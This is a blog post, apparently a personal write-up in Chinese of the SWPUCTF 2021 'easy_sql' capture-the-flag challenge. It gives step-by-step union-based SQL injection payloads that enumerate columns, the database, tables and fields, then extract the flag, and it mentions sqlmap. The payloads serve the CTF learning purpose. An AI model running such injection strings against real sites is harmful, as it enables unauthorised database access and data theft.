Web-CTF-sql一些题

本文最后更新于:2024年5月13日 晚上

[SWPUCTF 2021 新生赛]easy_sql

法一(传统派)

① my四步,判断出是字符型注入

?wllm=1 and 1=1 显示正常

?wllm=1 and 1=2 显示正常

说明不是数字型

?wllm=1' and 1=1 --+ 回显正确

?wllm=1' and 1=2 --+ 回显错误

说明是字符型

② 使用判断order by 判断表的列数:

1
2
?wllm=1' order by 3--+ 正常返回
?wllm=1' order by 4--+ 错误返回,说明有三列

③ 确定显示的字段顺序:

1
2
3
/?wllm=1' union select 1,2,3--+      
根据页面显示可以发现没有回显位,转变思路为报错注入
这里可以按报错注入来搞,但大部分师傅我看是直接把1改成了-1,继续进行

下面这个师傅是按报错注入来搞的

[SWPUCTF 2021 新生赛]easy_sql-CSDN博客

我还是先按照正常的来走

1
2
3
4
输入?wllm=-1' union select 1,2,3--+ 查看回显
# 至于这里为什么要改成-1,我搜到了下面的一些解释:
# union select 1,2,3发现不能回显出指定的1,2,3,因为指定位被id=3的数据占满了,因此将参数改为一个数据库不存在的id值-1,就有回显位了。再次插入union select 1,2,3发现2,3出现在页面上,说明这两个显示位可以被利用
# 总的来说,是我们需要利用报错得到回显位

④ 查询数据库名

1
?wllm=-1' union select 1,2,database()--+
查询数据库名

⑤ 根据查询到的数据库,查看库中有什么表

1
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
查数据表

⑥ 查询表中的字段

1
2
3
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db'--+

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='users'--+
test_db中的字段

⑦ 然后直接查询test_tb表得到我们想要的flag

1
?wllm=-1' union select 1,2,flag from test_tb --+
查询flag

法二(维新派)

本题用我新学的sqlmap可直接秒,emmmm🧐🧐🧐🧐

sqlmap秒了

——2024.05.14. 16:55


Web-CTF-sql一些题
http://viper2383.github.io/2024/05/13/Web-CTF-sql一些题/
作者
w1per3
发布于
2024年5月13日
许可协议